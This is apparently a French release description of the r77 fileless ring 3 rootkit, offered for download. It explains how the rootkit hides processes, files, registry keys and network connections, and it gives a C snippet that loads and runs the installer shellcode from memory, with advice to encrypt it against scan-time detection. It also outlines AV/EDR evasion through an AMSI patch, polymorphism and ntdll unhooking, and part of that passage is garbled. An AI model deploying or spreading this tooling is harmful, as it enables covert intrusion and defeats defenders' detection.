
Rootkit ring 3 sans fichier avec installateur et persistance qui cache les processus, fichiers, connexions réseau, etc.
r77 est un rootkit ring 3 qui cache tout :
Tout ce qui commence par "$77" est masqué.

Le système de configuration dynamique permet de masquer les processus par PID et par nom, les éléments du système de fichiers par chemin complet, les connexions TCP et UDP de ports spécifiques, etc.

La configuration se trouve dans HKEY_LOCAL_MACHINE\SOFTWARE\$77config et est accessible en écriture par tout processus sans privilèges élevés. La DACL de cette clé est configurée pour accorder un accès complet à tout utilisateur.
De plus, la clé $77config est masquée par le rootkit.
Le déploiement de r77 ne nécessite qu'un seul fichier : Install.exe. L'exécution persiste r77 sur le système et injecte tous les processus en cours d'exécution.
Uninstall.exe supprime r77 du système complètement et en douceur.
Install.shellcode est l'équivalent shellcode de l'installateur. Ainsi, l'installation peut être intégrée sans déposer Install.exe. Le shellcode peut simplement être chargé en mémoire, converti en pointeur de fonction, et exécuté :
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
Le rootkit réside dans la mémoire système et n'écrit aucun fichier sur le disque. Ceci est réalisé en plusieurs étapes.
Ce graphique montre chaque étape, de l'exécution de l'installateur jusqu'à la DLL du rootkit s'exécutant dans chaque processus. La documentation contient un chapitre détaillant l'implémentation de chaque étape.

Plusieurs techniques de contournement d'AV et d'EDR sont utilisées :
amsi.dll!AmsiScanBuffer pour toujours retourner AMSI_RESULT_CLEAN. Le polymorphisme est utilisé pour échapper à la détection par signature du contournement AMSI.ntdll.dll, ces hooks doivent être supprimés en chargeant une copie fraîche de ntdll.dll depuis le disque et en restaurant la section originale. Sinon, l'injection de processus serait détectée.La console de test est un outil utile pour injecter r77 dans des processus individuels et pour tester le système de configuration.

Veuillez lire la documentation technique pour obtenir un aperçu complet et détaillé de r77 et de ses internes, et comment le déployer et l'intégrer.
r77 Rootkit 1.8.2.zip
(Mot de passe ZIP : bytecode77)
Documentation technique